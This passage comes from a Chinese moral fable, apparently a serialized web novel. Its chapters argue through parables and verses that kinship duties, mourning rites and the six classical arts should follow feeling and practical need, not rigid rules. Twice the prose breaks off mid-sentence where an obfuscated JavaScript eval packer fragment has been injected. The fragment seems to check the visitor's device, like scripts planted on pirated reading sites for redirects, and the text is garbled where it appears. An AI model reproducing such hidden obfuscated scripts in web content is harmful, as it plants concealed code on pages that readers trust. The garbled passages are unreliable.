“子是子辈，本是晚辈，然晚在年，不在能。若子有能，可当家事；若子无才，当教之导之。序在德能，不在年齿。” “孙是孙辈，本是幼辈，然幼在龄，不在智。若孙有智，可从其议；若孙愚钝，当养之教之。伦在情智，不在长幼。” “玄是玄孙，本是远亲，然远在代，不在情。若玄孙有情，自当亲近；若玄孙无情，亦当礼待。序在情义，不在亲疏。” “曾是可曾，本是可续，然续在义，不在嗣。若有义，可续香火；若无义，不必强续。伦在道义，不在血脉。” 他顿了顿，续道：“至于十义，更是如此。父子恩，恩可是严，可是慈，可是教，可是养，因事而宜，合情为美。夫妇从，从可是从夫，可是从妇，可是共议，可是相辅，因事而宜，合情为美。兄则友，友可是宽让，可是切磋，可是相学，可是相扶，因事而宜，合情为美。弟则恭，恭可是顺让，可是谏诤，可是相助，可是相成，因事而宜，合情为美。长幼序，序在德能，不在年齿；因事而宜，合情为美。友与朋，信在真心，不在虚礼；因事而宜，合情为美。君则敬，敬在道义，不在权势；臣则忠，忠在公道，不在私从。因事而宜，合情为美。人伦之理，在顺人情；十义之要，在合事理。强定序位，强遵规条，是以虚妄困人情，非是圣贤本意。” 他讲得通透，众人听得豁然开朗。有那曾因“序不合规”、“义不遵条”被训斥、被讥笑的族人乡邻，感慨万千。 “原来九族十义，得这么看！” “是啊，人伦得看情理、看事理，不能光按旧规！” “父子不必定是父严子孝，也可父慈子孝，父从子议！” “夫妇不必定是夫唱妇随，也可妇唱夫随，夫妇共议！” “兄弟不必定是兄友弟恭，也可弟友兄恭，兄弟相学！” “长幼不必定是尊卑有序，也可以德能为序！” “友朋不必定是虚礼相交，也可真心相待！” “君臣不必定是敬忠死节，也可道义相扶！” 曾守伦在九族祠前立了块木牌，上书：“高曾祖，父而身。身而子，子而孙。自子孙，至玄曾。乃九族，人之伦。父子恩，夫妇从。兄则友，弟则恭。长幼序，友与朋。君则敬，臣则忠。此十义，人所同。然序无常法，理无定规。人伦当因情而定序，十义当因事而宜理。顺其人情，合其事理，方是人伦之道。” 二、 百姓的醒悟 曾守伦在九族祠讲九族十义新义，雍州城的百姓渐渐醒悟。 从前，他们以为九族有常序、十义有定规：高曾祖必尊，父辈必严，己身必位，子孙必卑。父子恩必是父严子孝，夫妇从必是夫唱妇随，兄则友必是兄宽弟让，弟则恭必是弟顺兄慈，长幼必尊卑有序，友朋必信义相交，君必敬臣如手足，臣必忠君如心腹。人伦必遵旧规，十义必守铁律。结果，人伦呆板，情理拘束，亲不亲，义不义。 如今，他们明白了：九族只是人伦，本无常序；十义只是人理，本无定规。人伦之道，因情而定，因势而变；十义之要，因事而宜，因理而发。高可是高，尊在德，不在年；曾可是曾，亲在义，不在血；祖可是祖，尊在恩，不在位；父可是父，严在教，不在威；身可是身，位在责，不在权；子可是子，序在能，不在年；孙可是孙，伦在智，不在幼；玄可是玄，序在情，不在疏；曾可是曾，伦在义，不在嗣。父子恩，可是严，可是慈，可是教，可是养；夫妇从，可是从夫，可是从妇，可是共议，可是相辅；兄则友，可是宽让，可是切磋，可是相学，可是相扶；弟则恭，可是顺让，可是谏诤，可是相助，可是相成；长幼序，序在德能；友朋信，信在真心；君敬臣忠，敬在道义，忠在公道。顺人情，合事理，方是人伦之要。 “原来九族十义，得这么行！” “可不是么！我爹年迈，我当家理事，家业兴旺，父子更亲！” “我夫病故，我改嫁谋生，儿女有靠，情理更合！” “我弟比我精明，他主家事，生意兴隆，兄弟更睦！” “咱们邻里相处，以德能为序，以真心相交，更和睦！” 有那吃过亏的，现身说法，劝人莫要“固守序位”、“强遵规条”。有那开明的，开始践行“因情而定序”、“因事而宜理”的新道。 父子相处，看教导、看能力，不拘父严子孝；夫妇相处，看情义、看事理，不拘夫唱妇随；兄弟相处，看德能、看情义，不拘兄友弟恭；长幼相处，看德能、看情义，不拘尊卑有序；友朋相处，看真心、看道义，不拘虚礼相交；君臣相处，看道义、看公道，不拘敬忠死节。 城中的风气，为之一新。呆板的少了，灵活的多了；拘束的少了，和睦的多了。 曾守伦在九族祠，将百姓践行九族十义新道的事一一记录，成《雍州九族十义新事》。他携此册，奔走于乡邻之间，倡行“因情而定序”、“因事而宜理”之道。 乡邻们见曾守伦变了，也渐改前非。有那曾因“固守序位”父子失和的，如今看情定序，父子更亲；有那曾因“强遵规条”夫妇不睦的，如今看事宜理，夫妇更和。 九族十义新道，渐入人心。 三、 尧舜孟母之事的流传 曾守伦倡九族十义新道之事，渐传周边。附近乡镇的族长、乡老、家长，闻讯来雍州城取经。曾守伦便将尧舜禅让、孟母三迁之事讲述，更将《雍州九族十义新事》广为散发。 “九族是人伦，本无常序；十义是人理，本无定规。此理通行天下。” “人伦当因情而定序，十义当因事而宜理。顺人情，合事理。” “雍州新事，可供参考。但各地风俗不同，家情有异，当因地制宜。” 听者、传册者，回去后亦在本地宣讲。有那开明的族长、乡老、家长，亦加入其中。一时间，“序无常法，理无定规，人伦看情理，十义看事理”之理，传遍州县。 有那固执的老族长，初闻此理，斥为“悖逆人伦”。但见百姓践行，父子更亲，夫妇更和，兄弟更睦，也渐改观念。有那曾因固守旧规家宅不宁的，闻此理如获至宝。 伦真和之的名声，渐渐在州县传开。都说有位戴蒲叶斗笠、蒙棉纱的高人，深明九族十义，点破迷障，使人明“序无常法，理无定规”之理，知“人伦看情理，十义看事理”之道。 四、 三年后的望日 三年后的一个望日，九族祠前又聚满了人。不仅有雍州城的百姓，还有周边乡镇的乡民。 曾守伦正在讲解“高曾祖，父而身。身而子，子而孙。自子孙，至玄曾。乃九族，人之伦。父子恩，夫妇从。兄则友，弟则恭。长幼序，友与朋。君则敬，臣则忠。此十义，人所同。当顺叙，勿违背。” “……故曰：九族是人伦，亲所系；十义是人理，情所归。高可是高，曾可是曾，祖可是祖，父可是父，身可是身，子可是子，孙可是孙，玄可是玄，曾可是曾。父子可有恩，夫妇可有从，兄可有友，弟可有恭，长幼可有序，友朋可有信，君可有敬，臣可有忠。本无常序，本无定规。人伦之道，在顺人情，不在守旧规。因情 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他又问：“然九族十义之用，易入两歧：一曰泥古，二曰妄为。泥古者，固守旧规，强定序位铁律；妄为者，不循情理，胡乱施为。此又当如何？” 众人肃然。曾守伦道：“先生所言极是！九族十义之用，贵在得宜。泥古则呆，妄为则乱。顺人情，因情而定序；合事理，因事而宜理。方是正道。” “正是。”伦真和之道，“九族如九星，有常位，亦有变位。守常位，可知亲疏尊卑；通变位，可成万千人伦。若死守常位，不知变通，是呆；若无视常位，胡乱施为，是乱。顺人情，合事理，得宜适中，方是善伦。” 他转向众人：“列位当谨记：处高曾祖，当知高曾祖是尊长，尊在德，不在年。有德则敬，无德则礼，顺情顺理为美。处父辈，当知父辈是严亲，严在教，不在威。有教则从，无教则谏，顺情顺理为美。处己身，当知己身是本位，位在责，不在权。有责则担，无能则让，顺情顺理为美。处子辈，当知子辈是晚辈，序在能，不在年。有能则用，无才则教，顺情顺理为美。处孙辈，当知孙辈是幼辈，伦在智，不在幼。有智则从，愚钝则养，顺情顺理为美。处玄曾，当知玄曾是远亲，序在情，不在疏。有情则亲，无情则礼，顺情顺理为美。父子恩，恩可是严，可是慈，可是教，可是养，因事而宜，顺情顺理为美。夫妇从，从可是从夫，可是从妇，可是共议，可是相辅，因事而宜，顺情顺理为美。兄则友，友可是宽让，可是切磋，可是相学，可是相扶，因事而宜，顺情顺理为美。弟则恭，恭可是顺让，可是谏诤，可是相助，可是相成，因事而宜，顺情顺理为美。长幼序，序在德能，不在年齿，因事而宜，顺情顺理为美。友与朋，信在真心，不在虚礼，因事而宜，顺情顺理为美。君则敬，敬在道义，不在权势；臣则忠，忠在公道，不在私从。因事而宜，顺情顺理为美。序只是序，理只是理，顺其人情，合其事理，方是正道。” 众人齐声道：“谨记先生教诲！” 伦真和之从怀中取出一卷书，递给曾守伦：“此乃《九族十义宜行录》，是我游历各地，记录人伦得失、情理宜忌之鉴所编。你可传抄于众，供百姓参考。” 曾守伦双手接过，如获至宝。 伦真和之又对众人道：“此书可参阅，但需切记：九族十义之道，在行在践。说千伦不如行一伦，道万义不如践一义。高曾祖父身子孙玄曾，父子夫妇兄弟长幼友朋君臣，皆在眼前。亲其亲，义其义，顺人情，合事理，方是真知。” 说罢，他戴上斗笠，转身走入人群。蒲叶斗笠在日光下泛着青翠，粗麻白衣的下摆扫过九族祠前的石板地，不染一丝尘埃。 曾守伦对着那背影深深一揖，久久不起。 百姓们也纷纷作揖。 尾声·九族谣 多年后，雍州城的孩童玩耍时，会唱一首童谣： 高曾祖父身子孙，九族人伦本有情。 父子夫妇兄弟义，十义公道在人心。 曾师强分序与规，人伦情理皆成枷。 伦真先生来点化，人伦本真顺人情。 从此亲亲看德能，义义随事合情理。 父可从子子可谏，夫可从妇妇可议。 兄弟相学长幼序，友朋真心君臣义。 有外乡人听了，问城里老人：“这伦真先生是何人？” 老人便会指着九族祠说：“是位教人明九族十义、知顺情合理的先生。他来了，曾族长知错了，百姓醒悟了，咱们城知道序无常法、理无定规了。” “他现在何处？” “不知道。教完道理，他就走了。” “还会回来么？” “等咱们又固守旧规、强遵铁律的时候，他大概就会回来吧。” 外乡人若有所思，走到九族祠前。祠前悬着《雍州九族十义新事》，木牌上刻着那二十四字：“高曾祖，父而身。身而子，子而孙。自子孙，至玄曾。乃九族，人之伦。父子恩，夫妇从。兄则友，弟则恭。长幼序，友与朋。君则敬，臣则忠。此十义，人所同。当顺叙，勿违背。”下面还有一行小字：“然序无常法，理无定规。人伦当因情而定序，十义当因事而宜理。顺其人情，合其事理，方是人伦之道。” 也许那位伦真先生，正在某个地方，看人行九族、践十义吧。他想。 他走出九族祠，暮色四合。祠里传出笑语，父子谈心，夫妇共话，兄弟切磋，长幼有序，友朋交心，君臣论道。九族十义之道，看似高深，实则就在这亲亲义义、顺情合理之中。 本章诫世 一、 九族十义真义训 - 高曾祖，父而身。身而子，子而孙。自子孙，至玄曾。乃九族，人之伦。父子恩，夫妇从。兄则友，弟则恭。长幼序，友与朋。君则敬，臣则忠。此十义，人所同。当顺叙，勿违背 - 破解法：为族长者，自问“可固守旧规？可知序无常法、理无定规？可曾因情而定序、因事而宜理？”；为家人者，自问“可强遵铁律？可知人伦本真？可曾顺人情、合事理？” 二、 三谬三正 - 曾守伦之谬在“泥古”——以旧规为铁则，固守九族序位，强定十义规条 - 世俗之谬在“拘方”——以九族有常序，以十义有定规，拘束人伦情理 - 百姓之谬在“盲从”——不知人伦本真，盲目遵从，亲不亲，义不义 - 三正：曾守伦倡九族十义新道，百姓明人伦本真，雍州行宜理之道 三、 和之大道 - 深层隐喻：高曾祖父身子孙玄曾，九族是人伦，亲所系；父子夫妇兄弟长幼友朋君臣，十义是人理，情所归。序只是序，理只是理，本无常法，本无定规。人伦之道，在顺人情，不在守旧规；因情而定，因势而变，顺其自然，方是正理。十义之要，在合事理，不在遵铁律；因事而宜，因理而发，合其人情，方是真要。强定序位，是以虚妄缚实相；强遵规条，是以铁律困人情；强分伦义，是以成法碍情理 - 终极指向：世人人伦情理，易入两歧：一曰泥古，二曰妄为。泥古则呆，妄为则乱。九族是人伦，十义是人理，本无常法定规。人伦当因情而定序，不拘旧规；十义当因事而宜理，不拘铁律。顺其人情，合其事理，得宜适中，方是人伦真道。亲在行，不在说；义在践，不在守；和在宜，不在固 九族十义偈： 雍州九族曾守伦，强分序位与规条。 人伦情理皆成枷，百姓行之不知义。 伦真先生来点化，人伦本真顺人情。 从此亲亲看德能，义义随事合情理。 后世叹： 高曾祖父身子孙，九族人伦亲所系。 父子夫妇兄弟义，十义人理情所归。 曾师泥古分序规，人伦情理皆成法。 伦真先生来点化，人伦宜用顺人情。 三载和睦新气象，雍州百姓人伦真。 正是： 雍州祠前说人伦，曾师泥古分序规。 九族铁索束亲情，十义枷锁困义理。 伦真先生来点破，人伦本真顺人情。 从此亲亲看德能，义义随事得和睦。 109.五服谳 楔子·寒食断麻 清明前七日，是青州城寒食节。城中禁火三日，百姓皆食冷餐。城南“思源桥”畔，有一片老柳林，每逢寒食，便有城中长者在此讲古，追思先人。 这日薄暮时分，柳林里已聚了数十人。当中一块青石上，坐着位须发皆白的“守礼先生”，姓陈，是城中“五服会”的会首。他身着素麻深衣，手拄一根老藤杖，正对着众人讲“五服之礼”： “……今日寒食，正是追思之时。咱们汉家最重人伦，人伦之中，丧礼最重。这丧礼有‘五服’之制：斩衰、齐衰、大功、小功、缌麻。斩衰三年，是子为父、妻为夫之服；齐衰一年，是为母、为祖之服；大功九月，是为堂兄弟、出嫁姊妹之服；小功五月，是为从祖、外祖之服；缌麻三月，是为族兄弟、外姻之服。此为五服，自斩衰至缌麻，由重至轻，由亲至疏，乃人伦之纲纪，不可紊乱！” 围坐的多是些市井百姓，有贩夫走卒，有织妇老妪，皆屏息静听。卖炊饼的王三低声道：“陈先生说得是。去岁我父去世，我便服了斩衰，麻衣不缝边，草绳系腰，食粥枕土，整整三年不敢懈怠。” 邻旁绣花的李寡妇红着眼圈道：“我夫走了五年，我还穿着素衣，不敢着艳色……” 陈守礼点点头，续道：“这五服之制，不惟是穿衣戴孝。斩衰者，当三年不饮酒、不食肉、不宴乐、不婚娶；齐衰者，当一年不宴乐、不婚娶；大功者，当九月不饮酒、不宴乐；小功者，当五月不宴乐；缌麻者，当三月不宴乐。此为孝道之本，人伦之重！” 他指着西天将沉的落日：“就如这寒食禁火，是为思介子推之忠。咱们服丧守制，是为思先人之恩。若有人不服丧、不守制，便是忘本负义，禽兽不如！” 众人凛然。这时，柳林深处传来一个清朗的声音：“陈先生此言，未免过了。” 众人望去，见柳影深处立着一人。斗笠是细竹与松针混编，檐边垂着几缕风干的艾蒿。白衣是粗麻所制，浆洗得发白，衣摆处有细密的靛青补丁。腰间悬一柄木剑，剑穗是褪色的五色丝绦。面上蒙着本色葛布，只露出一双沉静如深潭的眼睛。 陈守礼眉头微皱：“这位先生，何处过了？” 那人缓步走出柳影，对众人略一拱手：“斩齐衰，大小功。至缌麻，五服终。此话不错。五服是丧礼，是哀思。然陈先生说‘不服丧、不守制，便是忘本负义，禽兽不如’，却是过了。” “过了？”陈守礼不悦，“父母养育之恩，天地同大。父母去世，服丧守制，乃人子本分。若不服丧，岂非忘恩？” “服丧是本分，不错。”那人声音平和，“然丧是哀思，是心念，非是枷锁。斩衰三年，是哀；然若有人哀毁骨立，三年而亡，是孝，还是愚孝？齐衰一年，是思；然若有人思之成疾，一年不起，是义，还是愚义？大功九月，是念；然若有人念之废业，九月无生，是礼，还是愚礼？小功五月，是怀；然若有人怀之伤身，五月病倒，是道，还是愚道？缌麻三月，是忆；然若有人忆之误事，三月荒废，是伦，还是愚伦？” 他环视众人：“列位乡邻，今日寒食，咱们禁火思先人，是哀思。然若禁火三日，老弱冻馁，是思先人，还是害生人？丧礼五服，是念亲恩。然若服丧守制，废业伤身，是报亲恩，还是负亲望？” 陈守礼面色一沉：“你这是妄解丧礼！《礼记》有云：‘三年之丧，天下之通丧也。’” “《礼记》所云三年之丧，是言哀思之重，非是言枷锁之固。”那人道，“我闻古时子夏丧子，哭之失明，孔子叹曰：‘过矣！’子路丧姊，期而不除，孔子责曰：‘过矣！’哀思在心，不在形；孝义在行，不在表。若以服丧为枷锁，以守制为铁律，是以虚礼缚真情，非是圣贤本意。” 他走到青石旁，对众人道：“今日寒食，我给大家讲几个故事。” 一、 斩衰的故事 “先说斩衰。”那人寻了块石头坐下，众人不觉围拢过来。 “从前东郡有户农家，父子相依为命。父病重，子侍汤药，衣不解带。父临终握子手曰：‘我儿，我死后，你当自惜。咱家三亩薄田，需你耕种；你年幼弟妹，需你抚养。莫要因我之死，荒废家业。’子泣而应之。 父死，子服斩衰，麻衣草绳。然春耕在即，子若三年不耕，田将荒芜，弟妹将饿。子思父言，清晨哭父，日出下田；暮归哭父，夜教弟妹。麻衣沾泥，草绳浸汗。邻人讥之：‘服斩衰而耕，不孝！’子不辩。三年，田未荒，弟妹成人。祭父时，子曰：‘父，儿未敢废业，未敢负弟妹。’是夜梦父抚其背曰：‘吾儿真孝。’” 他顿了顿，道：“斩衰是哀，哀在心。农人之孝，在继父业，养弟妹。若因服丧废耕，致田荒弟饥，才是真不孝。” 卖炊饼的王三听得眼圈泛红，低声道：“是了……我爹去时，也说‘莫荒了饼铺’……” 二、 齐衰的故事 “再说齐衰。”那人续道。 “南河有对母子，母织布，子读书。母病故，子服齐衰。时值秋闱在即，子若守制一年，便误考期。母临终曾曰：‘儿当立志，光我门楣。’子思之，清晨哭母，白日苦读；暮祭母灵，夜诵诗书。麻衣染墨，草履磨穿。族人责之：‘服齐衰而读，不孝！’子不辩。一年后，子中举，归祭母墓，告曰：‘母，儿未敢忘志。’是夜梦母含笑曰：‘吾儿有成。’” 他看向众人：“齐衰是思，思在行。士子之孝，在继母志，成母望。若因守制废读，致志业不成，才是真不孝。” 人群中一青衫书生低头拭泪。 三、 大功的故事 “三说大功。”那人声音转缓。 “西山有对堂兄弟，兄为猎户，弟为樵夫。兄猎虎身亡，弟服大功。兄遗孀弱子，无以为生。弟若九月不樵，嫂侄将饥。弟思兄情，清晨哭兄，上山砍柴；暮归供嫂，夜教侄儿。麻衣挂棘，草绳担薪。乡人议之：‘服大功而樵，不义！’弟不辩。九月，嫂侄得养。祭兄时，弟曰：‘兄，弟未敢负嫂侄。’是夜梦兄拍其肩曰：‘真吾弟也。’” “大功是念，念在情。兄弟之义，在养遗孀，抚孤侄。若因服丧废樵，致嫂侄饥寒，才是真不义。” 人群中几个汉子点头叹息。 四、 小功的故事 “四说小功。”那人又道。 “北郭有对表亲，表兄行商，表弟务农。表兄溺水而亡，表弟服小功。表兄商货在途，若五月不至，将赔本倾家。表弟思表兄平日待己厚，清晨哭表兄，代其行商；暮归理农事，夜算账目。麻衣沾尘，草履走破。亲戚讥之：‘服小功而商，不亲！’弟不辩。五月，商货得售，表兄家业得保。祭表兄时，弟曰：‘兄，弟未敢负托。’是夜梦表兄拱手谢之。” “小功是怀，怀在义。亲戚之亲，在继其业，全其家。若因服丧废商，致家业败落，才是真不亲。” 几个商贩模样的听者，相视颔首。 五、 缌麻的故事 “最后说缌麻。”那人声音渐低。 “东街有对族兄弟，族兄为更夫，族弟为更卒。族兄病故，族弟服缌麻。城中夜巡，若三月缺人，盗贼将起。族弟思族兄生前尽责，清晨哭族兄，夜则顶替巡更；白日助族兄家料理后事。麻衣沾露，草绳系刀。邻人笑之：‘服缌麻而更，不伦！’弟不辩。三月，城中安宁。祭族兄时，弟曰：‘兄，弟未敢废职。’是夜梦族兄点头称善。” “缌麻是忆，忆在责。族人之伦，在继其职，安其里。若因服丧废更，致盗贼横行，才是真不伦。” 更夫老赵在人群中，默默点头。 六、 寒食的余音 五个故事讲完，柳林里寂静无声。暮色已深，寒星初现。 那人站起身，对陈守礼道：“陈先生，五服是礼，礼之本在情。斩衰是父子之情，齐衰是母子之情，大功是兄弟之情，小功是亲戚之情，缌麻是族人之情。情在心，不在衣；在行，不在制。若因服丧而废业伤身，致家业荒、志业废、遗孀饥、商货赔、盗贼起，这才是真忘本负义。寒食禁火思先人，是情；然若禁火致老弱冻馁，这思，先人在天之灵，可会心安？” 陈守礼面色变幻，良久，长叹一声：“先生……先生说得是。老朽拘泥礼制，以虚礼缚真情，误人误己。这五服之礼，当以情为本，以行是孝，不该是枷锁铁律。” 他转向众人，声音发颤：“从今往后，五服会当重情义，轻虚礼。服丧在心，守制在行。莫要因服丧废业，莫要因守 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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而那位礼情之先生，早已走向下一个需要点化的地方。他走过之处，虚礼渐消，真情渐显。就如这寒食的风，吹过柳林，吹过思源桥，吹进千家万户，将那些过于沉重的枷锁，轻轻吹散在岁月里。 本章诫世 一、 五服真义训 - 斩齐衰，大小功。至缌麻，五服终 - 破解法：服丧者，自问“哀思在心，还是在形？孝义在行，还是在表？可因服丧废业伤生？可因守制负先人望？” 二、 五误五正 - 斩衰之误在“愚孝”——三年废耕，田荒弟饥 - 齐衰之误在“愚思”——一年废读，志业不成 - 大功之误在“愚义”——九月废樵，遗孀孤侄无依 - 小功之误在“愚亲”——五月废商，家业败落 - 缌麻之误在“愚伦”——三月废更，盗贼横行 - 五正：哀思在心，孝义在行；服丧不废业，守制不伤生；继先人志，全先人家，安先人里，方是真礼 三、 情之大道 - 深层隐喻：五服是丧礼，是哀思，是人情。斩衰是父子情，齐衰是母子情，大功是兄弟情，小功是亲戚情，缌麻是族人情。情在心，不在衣；在行，不在制。若因服丧废业伤生，致家败业荒，是以虚礼杀真情，以铁律碍人伦。真孝是继志，真义是养遗，真亲是全业，真是安里 - 终极指向：世人重丧礼，易入歧途：重形轻心，重表轻行。五服是礼，礼之本在情。哀思当发乎心，孝义当见于行。服丧不废生计，守制不负人伦，继志全业，养遗安里，方是丧礼真义。莫让虚礼缚真情，莫让铁律伤生人。死者已矣，生者当继 五服偈： 青州寒食说五服，陈师拘礼成枷锁。 斩衰齐衰大小功，缌麻服丧反误生。 礼情先生讲故事，五服本在情与行。 从此哀思不废业，孝义在心更在行。 后世叹： 斩齐衰，大小功，至缌麻，五服终。 陈师重形轻本心，百姓服丧反伤生。 白衣点化情与行，五服哀思不枷锁。 寒食柳林听故事，青州人伦得真情。 正是： 寒食柳林说五服，陈师重礼轻人情。 斩衰齐衰皆枷锁，大小缌麻误民生。 白衣先生讲故事，五服本在哀思诚。 从此服丧不废业，青州寒食有温情。 110.六艺谳 楔子·重阳赛会 重九之日，锦官城中正有“六艺赛会”。这赛会三年一办，设在西郊“流芳园”，城中各坊皆组队参赛。赛会分六门：礼、乐、射、御、书、数。夺魁者可获“六艺魁首”匾额，挂于坊门一年，是为莫大荣耀。 辰时初刻，流芳园中已是人山人海。园中设六座高台，分别比试六艺。正中主台上，坐着本城“六艺会”会长赵秉礼，乃前朝老秀才，须发皆白，面容清癯。他身着一袭洗得发白的青衫，手执一卷《六艺考略》，正在宣讲： “……礼、乐、射、御、书、数，此乃古之六艺，君子所必习。礼者，周旋揖让之节；乐者，钟鼓琴瑟之音；射者，弓矢命中之技；御者，车马驾驭之术；书者，篆隶真草之法；数者，九章算术之妙。此六者，缺一不可。然今人只重书、数，轻礼、乐，废射、御，实乃数典忘祖！” 台下各坊参赛者、围观百姓，皆屏息静听。东市坊的教头刘三刀叹道：“赵先生说得是。咱们坊今年报了礼、乐、书、数四门，射、御两门无人敢报，怕丢人现眼。” 西街坊的账房张秀才接口道：“如今谁还学射御？射要开弓，御要驾车，又脏又累。不如学书、数，将来还能谋个差事。” 赵秉礼摇摇头，提高声音道：“此大谬也！六艺乃成人之本。礼以立身，乐以养性，射以观德，御以明道，书以达意，数以穷理。缺一不可！今人但求书、数之利，弃礼、乐、射、御于不顾，是舍本逐末，逐利忘义！” 他指着场中六座高台：“今日赛会，老夫忝为总裁。礼台，当依《仪礼》之制，缺一步则扣一分；乐台，当依《乐经》之谱，错一音则扣一分；射台，当依《射仪》之法，偏一寸则扣一分；御台，当依《御礼》之规，斜一度则扣一分；书台，当依《书谱》之体，差一笔则扣一分；数台，当依《九章》之数，误一算则扣一分。如此，方为真六艺！” 话音方落，忽听场边梧桐树下传来一个清朗声音：“赵会长此言，未免拘泥了。” 众人望去，见一人倚树而立。斗笠是细篾与竹叶混编，檐边垂着几缕茱萸。白衣是细麻所制，浆洗得发白，肩头有两块靛青补丁。腰间悬一柄木剑，剑穗是褪色的五色丝绦。面上蒙着本色棉纱，只露出一双明澈如秋水的眼睛。 赵秉礼眉头微蹙：“这位先生，何处拘泥？” 那人缓步走到主台前，对众人略一拱手：“礼、乐、射、御、书、数，古六艺，今不具。此话不错。然赵会长说‘当依古制古谱古法古规古体古数，缺一错一偏一斜一差一误则扣分’，却是拘泥了。” “拘泥？”赵秉礼不悦，“六艺乃圣人所定，岂可轻改？” “六艺是艺，艺之用，在成人，在应世。”那人声音平和，“古时礼，是周旋揖让之节，为立身。然今日市井相见，拱手作揖是礼，点头微笑亦是礼，何必必依《仪礼》三步一拜？古时乐，是钟鼓琴瑟之音，为养性。然今日乡野歌谣，笛箫是乐，口哨山歌亦是乐，何必必依《乐经》宫商角徵？古时射，是弓矢命中之技，为观德。然今日狩猎防身，开弓是射，投石掷镖亦是射，何必必依《射仪》五射之法？古时御，是车马驾驭之术，为明道。然今日行路载货，驾车是御，推车拉车亦是御，何必必依《御礼》五御之规？古时书，是篆隶真草之法，为达意。然今日记事通信，楷书是书，行书草书亦是书，何必必依《书谱》永字八法？古时数，是九章算术之妙，为穷理。然今日买卖算账，珠算是数，心算指算亦是数，何必必依《九章》筹算之术？” 他环视众人：“赵会长说缺一不可。然农人耕作，需射、御否？织妇纺纱，需礼、乐否？贩夫走卒，需书、数否？六艺是艺，当因时、因地、因人、因事而用。强求全备，强依古制，是以虚文缚实用，以旧法碍新用。” 赵秉礼面色一沉：“你这是妄解六艺！《周礼》有云：‘养国子以道，乃教之六艺。’” “《周礼》所教六艺，是教国子成人之道，非是教万民必习之法。”那人道，“我闻古时孔子教弟子六艺，亦因材施教。子路好勇，多教射御；子夏好文，多教书数；子游好礼，多教礼乐。同是六艺，因人而异。又闻古时乡校教民，农忙时教农艺，闲时教礼乐。同是六艺，因时而异。艺是为人所用，非人为艺所缚。若以古制为铁则，强求全备，强依旧法，是以虚文废实用，非是圣人本意。” 他走到礼台前，对众人道：“今日重阳，我给大家讲几个故事。” 一、 礼的故事 “先说礼。”那人登上礼台。台上正有两人在比试揖让之礼，一步一拜，僵硬如偶。 “从前东门有对街坊，张家和李家。张家是书香门第，李家是屠户之家。张家见李家，必依《仪礼》三步一拜，口诵‘久仰久仰’。李家还礼不及，常闹笑话。一日，张家子提重物过巷，李家子顺手接过，帮其送到家。张家子欲行大礼，李家子摆手笑道：‘街坊邻居，搭把手的事，行啥礼？’自那以后，张家见李家，只点头微笑。李家亦如此。两家和睦，胜过从前。” 他看向赵秉礼：“礼是立身，是相敬。揖让是礼，微笑是礼，搭把手亦是礼。何必必三步一拜？” 二、 乐的故事 “再说乐。”那人走到乐台。台上乐师正奏《鹿鸣》，一板一眼，却少生气。 “南街有个老乐师，只奏古乐，嫌市井小调粗俗。其子爱吹笛，常与街童合奏乡谣。老乐师斥之：‘俗不可耐！’中秋夜，街坊聚饮，老乐师奏《月令》，众人昏昏。其子吹起《丰收谣》，众人和之，载歌载舞。老乐师初时皱眉，后见众人欢悦，亦不禁击节。翌日，老乐师对子曰：‘乐以和众，古乐是乐，乡谣亦是乐。’自此，父子同台，古调新声皆奏。” 他看向场中乐师：“乐是养性，是和众。钟鼓是乐，笛箫是乐，口哨山歌亦是乐。何必必宫商角徵？” 三、 射的故事 “三说射。”那人行至射台。台上射手正按“五射”之法开弓，动作标准，却中靶不多。 “西郊有猎户父子，父教子射，必依古法：足踏丁字，臂开满月。子学三年，猎物寥寥。一日，子独入山，遇野猪。仓促间不及摆势，随手一箭，正中猪目。归告其父，父初不信，次日同往，子又随手射中飞鸟。父叹曰：‘射以中为要，法在人用。’自此，子射不拘古法，猎物反多。” 他看向台下猎户：“射是观德，是中的。开弓是射，投石是射，掷镖亦是射。何必必五射之法？” 四、 御的故事 “四说御。”那人至御台。台上御手正驾马车，依“五御”之规，车行甚缓。 “北巷有车夫老王，驾车必依古规：鸣和鸾，逐水曲。一日，送急症病人就医，道窄人多。老王欲依规缓行，其徒夺过缰绳，抄小巷，快马加鞭，及时送至。老王责其违‘五御’，其徒曰：‘御以达为要，规在人用。’老王默然。后遇急事，亦不拘规，以达为要。” 他看向场中车夫：“御是明道，是达地。驾车是御，推车是御，拉车亦是御。何必必五御之规？” 五、 书的故事 “五说书。”那人到书台。台上书者正写楷书，笔笔依永字八法，工整却少神韵。 “城中书馆有师徒，师教徒书，必依《书谱》，点如坠石，横如阵云。徒苦学三年，字工而呆。一日，徒替药铺写招幌，药铺掌柜嫌其字呆，自用草书书‘仁心堂’三字，飞动有力。徒观之，悟曰：‘书以达意为要，法在人用。’后习行草，字反有神。” 他看向场中书者：“书是达意，是传情。楷书是书，行书是书，草书亦是书。何必必永字八法？” 六、 数的故事 “最后说数。”那人行至数台。台上算者正用筹算，依《九章》之法，甚慢。 “东市账房老周，算账必用筹算，嫌珠算粗陋。其徒用珠算，快他三倍。老周斥之：‘不合古法！’年终结账，东家催急，老周筹算未半，其徒珠算已毕。东家赞徒，老周愧。后学珠算，叹曰：‘数以算清为要，法在人用。’” 他看向赵秉礼：“赵会长，数是穷理，是算清。筹算是数，珠算是数，心算指算亦是数。何必必《九章》之术？” 七、 重阳的余响 六个故事讲完，场中鸦雀无声。秋风穿过流芳园，吹得茱萸簌簌作响。 赵秉礼沉默良久，缓缓起身，对那人深揖一礼：“先生……先生说得是。老朽拘泥古制，以虚文缚实用，误人误己。这六艺之道，当以用为本，以人为要。礼在敬，不在仪；乐在和，不在谱；射在中，不在法；御在达，不在规；书在意，不在体；数在清，不在术。” 他转向众人，声音发颤：“从今往后，六艺赛会当重实用，轻虚文。礼，敬人即可，不必三步一拜；乐，和众即可，不必必依古谱；射，中的即可，不必五射之法；御，达地即可，不必五御之规；书，达意即可，不必永字八法；数，算清即可，不必《九章》之术。如此，方是真六艺！” 众人先是一静，随即哗然。刘 